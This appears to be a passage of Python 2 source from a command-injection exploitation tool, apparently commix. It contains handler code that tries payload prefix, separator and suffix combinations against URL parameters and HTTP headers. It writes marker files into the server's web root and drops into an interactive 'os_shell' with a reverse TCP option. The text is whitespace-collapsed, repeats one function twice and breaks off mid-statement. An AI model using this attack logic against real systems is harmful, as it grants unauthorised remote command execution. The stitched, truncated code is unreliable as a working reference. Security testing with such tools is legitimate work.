findings to terminal. success_msg = "The" if len(found_vuln_parameter) > 0 and not "cookie" in header_name : success_msg += " " + http_request_method success_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name success_msg += found_vuln_parameter + " seems injectable via " success_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "." print settings.print_success_msg(success_msg) print settings.SUB_CONTENT_SIGN + "Payload: " + str(checks.url_decode(payload)) + Style.RESET_ALL # Export session if not settings.LOAD_SESSION: shell = "" session_handler.injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, original_how_long, output_length, is_vulnerable=menu.options.level) #possibly_vulnerable = False else: settings.LOAD_SESSION = False new_line = False # Check for any enumeration options. if settings.ENUMERATION_DONE == True: while True: if not menu.options.batch: question_msg = "Do you want to enumerate again? [Y/n] > " enumerate_again = raw_input("\n" + settings.print_question_msg(question_msg)).lower() else: enumerate_again = "" if len(enumerate_again) == 0: enumerate_again = "y" if enumerate_again in settings.CHOICE_YES: tb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) print "" break elif enumerate_again in settings.CHOICE_NO: new_line = True break elif enumerate_again in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + enumerate_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if menu.enumeration_options(): tb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) print "" # Check for any system file access options. if settings.FILE_ACCESS_DONE == True: print "" while True: if not menu.options.batch: question_msg = "Do you want to access files again? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) file_access_again = sys.stdin.readline().replace("\n","").lower() else: file_access_again = "" if len(file_access_again) == 0: file_access_again = "y" if file_access_again in settings.CHOICE_YES: tb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) break elif file_access_again in settings.CHOICE_NO: if not new_line: new_line = True break elif file_access_again in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + file_access_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: # if not menu.enumeration_options() and not menu.options.os_cmd: # print "" tb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) # Check if defined single cmd. if menu.options.os_cmd: cmd = menu.options.os_cmd check_how_long, output = tb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) # Export injection result tb_injector.export_injection_results(cmd, separator, output, check_how_long) print "" logs.print_logs_notification(filename, url) raise SystemExit() if not new_line : print "" # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break if not menu.options.batch: question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) gotshell = sys.stdin.readline().replace("\n","").lower() else: gotshell = "" if len(gotshell) == 0: gotshell = "y" if gotshell in settings.CHOICE_YES: if not menu.options.batch: print "" print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)" if readline_error: checks.no_readline_module() while True: if false_positive_warning: warn_msg = "Due to unexpected time delays, it is highly " warn_msg += "recommended to enable the 'reverse_tcp' option.\n" sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) false_positive_warning = False try: # Tab compliter if not readline_error: readline.set_completer(menu.tab_completer) # MacOSX tab compliter if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''): readline.parse_and_bind("bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind("tab: complete") cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") if go_back and go_back_again == False: break if go_back and go_back_again: return True else: if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # The main command injection exploitation. check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) # Export injection result tb_injector.export_injection_results(cmd, separator, output, check_how_long) if not menu.options.ignore_session : session_handler.store_cmd(url, cmd, output, vuln_parameter) else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) print "\n" + Fore.GREEN + Style.BRIGHT + output + Style.RESET_ALL # Update logs with executed cmds and execution results. logs.executed_command(filename, cmd, output) print "" except KeyboardInterrupt: raise except SystemExit: raise except EOFError: err_msg = "Exiting, due to EOFError." print settings.print_error_msg(err_msg) raise elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector(technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + gotshell + "' is not a valid answer." print settings.print_error_msg(err_msg) pass break if no_result == True: if settings.VERBOSITY_LEVEL == 0: print "" return False else : sys.stdout.write("\r") sys.stdout.flush()
def cb_injection_handler(url, delay, filename, http_request_method): counter = 1 vp_flag = True no_result = True is_encoded = False export_injection_info = False injection_type = "Results-based Command Injection" technique = "classic injection technique" if not settings.LOAD_SESSION: sys.stdout.write(settings.INFO_SIGN + "Testing the " + technique + "... ") sys.stdout.flush() if menu.options.verbose: print "" i = 0 # Calculate all possible combinations total = len(settings.WHITESPACES) * len(settings.PREFIXES) * len( settings.SEPARATORS) * len(settings.SUFFIXES) for whitespace in settings.WHITESPACES: for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: # If a previous session is available. if settings.LOAD_SESSION and session_handler.notification( url, technique): url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation( url, http_request_method) else: i = i + 1 # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" # Change TAG on every request to prevent false-positive results. TAG = ''.join( random.choice(string.ascii_uppercase) for i in range(6)) randv1 = random.randrange(100) randv2 = random.randrange(100) randvcalc = randv1 + randv2 # Define alter shell alter_shell = menu.options.alter_shell try: if alter_shell: # Classic -alter shell- decision payload (check if host is vulnerable). payload = cb_payloads.decision_alter_shell( separator, TAG, randv1, randv2) else: # Classic decision payload (check if host is vulnerable). payload = cb_payloads.decision( separator, TAG, randv1, randv2) # Define prefixes & suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) if menu.options.base64: payload = urllib.unquote(payload) payload = base64.b64encode(payload) else: if separator == " ": payload = re.sub(" ", "%20", payload) else: payload = re.sub(" ", whitespace, payload) # Check if defined "--verbose" option. if menu.options.verbose: print Fore.GREY + "(~) Payload: " + payload + Style.RESET_ALL # if need page reload if menu.options.url_reload: time.sleep(delay) response = urllib.urlopen(url) # Cookie Injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie injection. vuln_parameter = parameters.specify_cookie_parameter( menu.options.cookie) response = cb_injector.cookie_injection_test( url, vuln_parameter, payload) # User-Agent Injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent injection. vuln_parameter = parameters.specify_user_agent_parameter( menu.options.agent) response = cb_injector.user_agent_injection_test( url, vuln_parameter, payload) # Referer Injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer injection. vuln_parameter = parameters.specify_referer_parameter( menu.options.referer) response = cb_injector.referer_injection_test( url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom http header injection. vuln_parameter = parameters.specify_custom_header_parameter( settings.INJECT_TAG) response = cb_injector.custom_header_injection_test( url, vuln_parameter, payload) else: # Check if target host is vulnerable. response, vuln_parameter = cb_injector.injection_test( payload, http_request_method, url) # Evaluate test results. shell = cb_injector.injection_test_results( response, TAG, randvcalc) if not menu.options.verbose: percent = ((i * 100) / total) float_percent = "{0:.1f}".format( round(((i * 100) / (total * 1.0)), 2)) if shell == False: sys.stdout.write("\r" + settings.INFO_SIGN + "Testing the " + technique + "... " + "[ " + float_percent + "%" + " ]") sys.stdout.flush() if str(float_percent) == "100.0": if no_result == True: percent = Fore.RED + "FAILED" + Style.RESET_ALL else: percent = str(float_percent) + "%" elif len(shell) != 0: percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL else: percent = str(float_percent) + "%" sys.stdout.write("\r" + settings.INFO_SIGN + "Testing the " + technique + "... " + "[ " + percent + " ]") sys.stdout.flush() except KeyboardInterrupt: raise except SystemExit: raise except: continue # Yaw, got shellz! # Do some magic tricks! if shell: found = True no_result = False if settings.COOKIE_INJECTION == True: header_name = " Cookie" found_vuln_parameter = vuln_parameter the_type = " HTTP header" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param( url) else: found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0: found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique( export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter( vp_flag, filename, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not menu.options.verbose and not settings.LOAD_SESSION: print "" # Print the findings to terminal. print Style.BRIGHT + "(!) The (" + http_request_method + ")" + found_vuln_parameter + header_name + the_type + " is vulnerable to " + injection_type + "." + Style.RESET_ALL print " (+) Type : " + Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + "" print " (+) Technique : " + Fore.YELLOW + Style.BRIGHT + technique.title( ) + Style.RESET_ALL + "" print " (+) Payload : " + Fore.YELLOW + Style.BRIGHT + re.sub( "%20", " ", re.sub("%2B", "+", payload)) + Style.RESET_ALL # Export session if not settings.LOAD_SESSION: session_handler.injection_point_importation( url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, delay=0, how_long=0, output_length=0, is_vulnerable="True") else: settings.LOAD_SESSION = False # Check for any enumeration options. if settings.ENUMERATION_DONE == True: while True: enumerate_again = raw_input( "\n" + settings.QUESTION_SIGN + "Do you want to enumerate again? [Y/n/q] > " ).lower() if enumerate_again in settings.CHOISE_YES: cb_enumeration.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) break elif enumerate_again in settings.CHOISE_NO: break elif enumerate_again in settings.CHOISE_QUIT: sys.exit(0) else: if enumerate_again == "": enumerate_again = "enter" print Back.RED + settings.ERROR_SIGN + "'" + enumerate_again + "' is not a valid answer." + Style.RESET_ALL + "\n" pass else: if menu.enumeration_options(): cb_enumeration.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) if not menu.file_access_options( ) and not menu.options.os_cmd: print "" # Check for any system file access options. if settings.FILE_ACCESS_DONE == True: while True: file_access_again = raw_input( settings.QUESTION_SIGN + "Do you want to access files again? [Y/n/q] > " ).lower() if file_access_again in settings.CHOISE_YES: cb_file_access.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) break elif file_access_again in settings.CHOISE_NO: break elif file_access_again in settings.CHOISE_QUIT: sys.exit(0) else: if file_access_again == "": file_access_again = "enter" print Back.RED + settings.ERROR_SIGN + "'" + file_access_again + "' is not a valid answer." + Style.RESET_ALL + "\n" pass else: if menu.file_access_options(): if not menu.enumeration_options(): print "" cb_file_access.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) print "" # Check if defined single cmd. if menu.options.os_cmd: if not menu.file_access_options(): print "" cb_enumeration.single_os_cmd_exec( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break if settings.ENUMERATION_DONE == False and settings.FILE_ACCESS_DONE == False: if menu.options.verbose: print "" gotshell = raw_input( settings.QUESTION_SIGN + "Do you want a Pseudo-Terminal shell? [Y/n/q] > " ).lower() if gotshell in settings.CHOISE_YES: print "" print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)" if readline_error: checks.no_readline_module() while True: try: if not readline_error: # Tab compliter readline.set_completer( menu.tab_completer) # MacOSX tab compliter if getattr( readline, '__doc__', '' ) is not None and 'libedit' in getattr( readline, '__doc__', ''): readline.parse_and_bind( "bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind( "tab: complete") cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) if cmd.lower( ) in settings.SHELL_OPTIONS: os_shell_option = checks.check_os_shell_options( cmd.lower(), technique, go_back, no_result) if os_shell_option == False: if no_result == True: return False else: return True elif os_shell_option == "quit": sys.exit(0) elif os_shell_option == "back": go_back = True break elif os_shell_option == "os_shell": print Fore.YELLOW + settings.WARNING_SIGN + "You are already into the 'os_shell' mode." + Style.RESET_ALL + "\n" elif os_shell_option == "reverse_tcp": settings.REVERSE_TCP = True # Set up LHOST / LPORT for The reverse TCP connection. reverse_tcp.configure_reverse_tcp( ) if settings.REVERSE_TCP == False: continue if settings.REVERSE_TCP == False: continue while True: if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS: result = checks.check_reverse_tcp_options( settings.LHOST) else: cmd = reverse_tcp.reverse_tcp_options( ) result = checks.check_reverse_tcp_options( cmd) if result != None: if result == 0: return False elif result == 1 or result == 2: go_back_again = True settings.REVERSE_TCP = False break # Command execution results. response = cb_injector.injection( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Evaluate injection results. shell = cb_injector.injection_results( response, TAG) if menu.options.verbose: print "" print Back.RED + settings.ERROR_SIGN + "The reverse TCP connection to the target host has been failed!" + Style.RESET_ALL else: pass else: # Command execution results. response = cb_injector.injection( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # if need page reload if menu.options.url_reload: time.sleep(delay) response = urllib.urlopen(url) if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Evaluate injection results. shell = cb_injector.injection_results( response, TAG) shell = "".join( str(p) for p in shell) if not menu.options.ignore_session: session_handler.store_cmd( url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd( url, cmd, vuln_parameter) if shell: html_parser = HTMLParser.HTMLParser( ) shell = html_parser.unescape( shell) if shell != "": print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n" else: if menu.options.verbose: print "" print Back.RED + settings.ERROR_SIGN + "The '" + cmd + "' command, does not return any output." + Style.RESET_ALL + "\n" except KeyboardInterrupt: raise except SystemExit: raise elif gotshell in settings.CHOISE_NO: if checks.next_attack_vector( technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOISE_QUIT: sys.exit(0) else: if gotshell == "": gotshell = "enter" print Back.RED + settings.ERROR_SIGN + "'" + gotshell + "' is not a valid answer." + Style.RESET_ALL + "\n" pass if no_result == True: print "" return False else: sys.stdout.write("\r") sys.stdout.flush()
def fb_injection_handler(url, delay, filename, http_request_method, url_time_response): counter = 1 vp_flag = True exit_loops = False no_result = True is_encoded = False stop_injection = False call_tmp_based = False next_attack_vector = False export_injection_info = False injection_type = "Semiblind Command Injection" technique = "file-based injection technique" # Set temp path if settings.TARGET_OS == "win": if "microsoft-iis" in settings.SERVER_BANNER.lower(): settings.TMP_PATH = "C:\\Windows\TEMP\\" else: settings.TMP_PATH = "%temp%\\" else: settings.TMP_PATH = "/tmp/" if menu.options.tmp_path: tmp_path = menu.options.tmp_path else: tmp_path = settings.TMP_PATH if settings.DEFAULT_SRV_ROOT_DIR != settings.SRV_ROOT_DIR: settings.SRV_ROOT_DIR = settings.DEFAULT_SRV_ROOT_DIR if menu.options.file_dest and '/tmp/' in menu.options.file_dest: call_tmp_based = True else: if menu.options.srv_root_dir: settings.SRV_ROOT_DIR = menu.options.srv_root_dir else: # Debian/Ubunt have been updated to use /var/www/html as default instead of /var/www. if "apache" in settings.SERVER_BANNER.lower(): if "debian" or "ubuntu" in settings.SERVER_BANNER.lower(): try: check_version = re.findall(r"/(.*)\.", settings.SERVER_BANNER.lower()) if check_version[0] > "2.3" and not settings.TARGET_OS == "win": # Add "/html" to servers root directory settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html" else: settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR except IndexError: pass # Add "/html" to servers root directory elif "fedora" or "centos" in settings.SERVER_BANNER.lower(): settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html" else: pass # On more recent versions (>= "1.2.4") the default root path has changed to "/usr/share/nginx/html" elif "nginx" in settings.SERVER_BANNER.lower(): try: check_version = re.findall(r"/(.*)\.", settings.SERVER_BANNER.lower()) if check_version[0] >= "1.2.4": # Add "/html" to servers root directory settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html" else: # Add "/www" to servers root directory settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/www" except IndexError: pass elif "microsoft-iis" in settings.SERVER_BANNER.lower(): pass else: # Provide custom server's root directory. custom_srv_root_dir() path = urlparse.urlparse(url).path path_parts = path.split('/') count = 0 for part in path_parts: count = count + 1 count = count - 1 last_param = path_parts[count] EXTRA_DIR = path.replace(last_param, "") settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + EXTRA_DIR if settings.TARGET_OS == "win": settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR.replace("/","\\") if not settings.LOAD_SESSION or settings.RETEST == True: if not menu.options.verbose: info_msg = "Trying to create a file in '" + settings.SRV_ROOT_DIR + "'... " else: info_msg = "Testing the " + technique + "... " print settings.print_info_msg(info_msg) i = 0 # Calculate all possible combinations total = len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) # Check if defined alter shell alter_shell = menu.options.alter_shell for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: # If a previous session is available. if settings.LOAD_SESSION and session_handler.notification(url, technique): url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) OUTPUT_TEXTFILE = TAG + ".txt" if technique == "tempfile-based injection technique": #settings.LOAD_SESSION = True tfb_handler.exploitation(url, delay, filename, tmp_path, http_request_method, url_time_response) if settings.RETEST == True: settings.RETEST = False from src.core.injections.results_based.techniques.classic import cb_handler cb_handler.exploitation(url, delay, filename, http_request_method) if not settings.LOAD_SESSION: i = i + 1 # Change TAG on every request to prevent false-positive results. TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) # The output file for file-based injection technique. OUTPUT_TEXTFILE = TAG + ".txt" # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" try: # File-based decision payload (check if host is vulnerable). if alter_shell : payload = fb_payloads.decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE) else: payload = fb_payloads.decision(separator, TAG, OUTPUT_TEXTFILE) # Check if defined "--prefix" option. # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) if menu.options.base64: payload = base64.b64encode(payload) # Check if defined "--verbose" option. if menu.options.verbose: info_msg = "Trying to upload the '" + OUTPUT_TEXTFILE info_msg += "' file on '" + settings.SRV_ROOT_DIR + "'..." print settings.print_info_msg(info_msg) payload_msg = payload.replace("\n", "\\n") print settings.print_payload(payload_msg) # Cookie Injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie injection. vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) response = fb_injector.cookie_injection_test(url, vuln_parameter, payload) # User-Agent Injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent injection. vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent) response = fb_injector.user_agent_injection_test(url, vuln_parameter, payload) # Referer Injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer injection. vuln_parameter = parameters.specify_referer_parameter(menu.options.referer) response = fb_injector.referer_injection_test(url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom http header injection. vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG) response = fb_injector.custom_header_injection_test(url, vuln_parameter, payload) else: # Check if target host is vulnerable. response, vuln_parameter = fb_injector.injection_test(payload, http_request_method, url) # Find the directory. output = fb_injector.injection_output(url, OUTPUT_TEXTFILE, delay) time.sleep(delay) try: # Check if defined extra headers. request = urllib2.Request(output) headers.do_check(request) # Evaluate test results. output = urllib2.urlopen(request) html_data = output.read() shell = re.findall(r"" + TAG + "", html_data) if len(shell) != 0 and shell[0] == TAG and not menu.options.verbose: percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL info_msg = "Testing the " + technique + "... [ " + percent + " ]" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if len(shell) == 0 : #delete_previous_shell(separator, payload, TAG, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) #if menu.options.verbose: #print "" raise urllib2.HTTPError(url, 404, 'Error', {}, None) except urllib2.HTTPError, e: if e.getcode() == 404: percent = ((i*100)/total) float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2)) if call_tmp_based == True: exit_loops = True tmp_path = os.path.split(menu.options.file_dest)[0] + "/" tfb_controller(no_result, url, delay, filename, tmp_path, http_request_method, url_time_response) raise # Show an error message, after N failed tries. # Use the "/tmp/" directory for tempfile-based technique. elif i == settings.FAILED_TRIES and no_result == True : warn_msg = "It seems that you don't have permissions to " warn_msg += "read and/or write files in '" + settings.SRV_ROOT_DIR + "'." sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) print "" while True: question_msg = "Do you want to try the temporary directory (" + tmp_path + ") [Y/n/q] > " tmp_upload = raw_input(settings.print_question_msg(question_msg)).lower() if tmp_upload in settings.CHOICE_YES: exit_loops = True call_tfb = tfb_controller(no_result, url, delay, filename, tmp_path, http_request_method, url_time_response) if call_tfb != False: return True else: if no_result == True: return False else: return True elif tmp_upload in settings.CHOICE_NO: break elif tmp_upload in settings.CHOICE_QUIT: print "" raise else: if tmp_upload == "": tmp_upload = "enter" err_msg = "'" + tmp_upload + "' is not a valid answer." print settings.print_error_msg(err_msg) + "\n" pass continue else: if exit_loops == False: if not menu.options.verbose: if str(float_percent) == "100.0": if no_result == True: percent = Fore.RED + "FAILED" + Style.RESET_ALL else: percent = str(float_percent)+ "%" else: percent = str(float_percent)+ "%" info_msg = "Testing the " + technique + "... [ " + percent + " ]" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() continue else: continue else: raise elif e.getcode() == 401: err_msg = "Authorization required!" print settings.print_error_msg(err_msg) + "\n" sys.exit(0) elif e.getcode() == 403: err_msg = "You don't have permission to access this page." print settings.print_error_msg(err_msg) + "\n" sys.exit(0) except KeyboardInterrupt: # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except SystemExit: if 'vuln_parameter' in locals(): # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except urllib2.URLError, e: warn_msg = "It seems that you don't have permissions to " warn_msg += "read and/or write files in '" + settings.SRV_ROOT_DIR + "'." sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) print "" # Provide custom server's root directory. custom_srv_root_dir() continue except: raise
def fb_injection_handler(url, delay, filename, http_request_method, url_time_response): counter = 1 vp_flag = True exit_loops = False no_result = True is_encoded = False stop_injection = False call_tmp_based = False next_attack_vector = False export_injection_info = False injection_type = "Semiblind Command Injection" technique = "file-based injection technique" # Set temp path if settings.TARGET_OS == "win": if "microsoft-iis" in settings.SERVER_BANNER.lower(): settings.TMP_PATH = "C:\\Windows\TEMP\\" else: settings.TMP_PATH = "%temp%\\" else: settings.TMP_PATH = "/tmp/" if menu.options.tmp_path: tmp_path = menu.options.tmp_path else: tmp_path = settings.TMP_PATH if settings.SRV_ROOT_DIR != "": settings.SRV_ROOT_DIR = "" if menu.options.file_dest and '/tmp/' in menu.options.file_dest: call_tmp_based = True else: if menu.options.srv_root_dir: settings.SRV_ROOT_DIR = menu.options.srv_root_dir else: # Debian/Ubunt have been updated to use /var/www/html as default instead of /var/www. if "apache" in settings.SERVER_BANNER.lower(): if "debian" or "ubuntu" in settings.SERVER_BANNER.lower(): try: check_version = re.findall( r"/(.*)\.", settings.SERVER_BANNER.lower()) if check_version[ 0] > "2.3" and not settings.TARGET_OS == "win": # Add "/html" to servers root directory settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html" else: settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR except IndexError: pass # Add "/html" to servers root directory elif "fedora" or "centos" in settings.SERVER_BANNER.lower(): settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html" else: pass # On more recent versions (>= "1.2.4") the default root path has changed to "/usr/share/nginx/html" elif "nginx" in settings.SERVER_BANNER.lower(): try: check_version = re.findall(r"/(.*)\.", settings.SERVER_BANNER.lower()) if check_version[0] >= "1.2.4": # Add "/html" to servers root directory settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html" else: # Add "/www" to servers root directory settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/www" except IndexError: pass elif "microsoft-iis" in settings.SERVER_BANNER.lower(): pass else: # Provide custom server's root directory. custom_srv_root_dir() path = urlparse.urlparse(url).path path_parts = path.split('/') count = 0 for part in path_parts: count = count + 1 count = count - 1 last_param = path_parts[count] EXTRA_DIR = path.replace(last_param, "") settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + EXTRA_DIR if settings.TARGET_OS == "win": settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR.replace( "/", "\\") if not settings.LOAD_SESSION or settings.RETEST == True: if not menu.options.verbose: print settings.INFO_SIGN + "Trying to create a file in '" + settings.SRV_ROOT_DIR + "'... " else: print settings.INFO_SIGN + "Testing the " + technique + "... " i = 0 # Calculate all possible combinations total = len(settings.PREFIXES) * len(settings.SEPARATORS) * len( settings.SUFFIXES) # Check if defined alter shell alter_shell = menu.options.alter_shell for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: # If a previous session is available. if settings.LOAD_SESSION and session_handler.notification( url, technique): url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation( url, http_request_method) OUTPUT_TEXTFILE = TAG + ".txt" if technique == "tempfile-based injection technique": #settings.LOAD_SESSION = True tfb_handler.exploitation(url, delay, filename, tmp_path, http_request_method, url_time_response) if settings.RETEST == True: settings.RETEST = False from src.core.injections.results_based.techniques.classic import cb_handler cb_handler.exploitation(url, delay, filename, http_request_method) if not settings.LOAD_SESSION: i = i + 1 # Change TAG on every request to prevent false-positive results. TAG = ''.join( random.choice(string.ascii_uppercase) for i in range(6)) # The output file for file-based injection technique. OUTPUT_TEXTFILE = TAG + ".txt" # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" try: # File-based decision payload (check if host is vulnerable). if alter_shell: payload = fb_payloads.decision_alter_shell( separator, TAG, OUTPUT_TEXTFILE) else: payload = fb_payloads.decision( separator, TAG, OUTPUT_TEXTFILE) # Check if defined "--prefix" option. # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) if menu.options.base64: payload = base64.b64encode(payload) # Check if defined "--verbose" option. if menu.options.verbose: print settings.INFO_SIGN + "Trying to upload the '" + OUTPUT_TEXTFILE + "' file on '" + settings.SRV_ROOT_DIR + "'..." print Fore.GREY + settings.PAYLOAD_SIGN + payload.replace( "\n", "\\n") + Style.RESET_ALL # Cookie Injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie injection. vuln_parameter = parameters.specify_cookie_parameter( menu.options.cookie) response = fb_injector.cookie_injection_test( url, vuln_parameter, payload) # User-Agent Injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent injection. vuln_parameter = parameters.specify_user_agent_parameter( menu.options.agent) response = 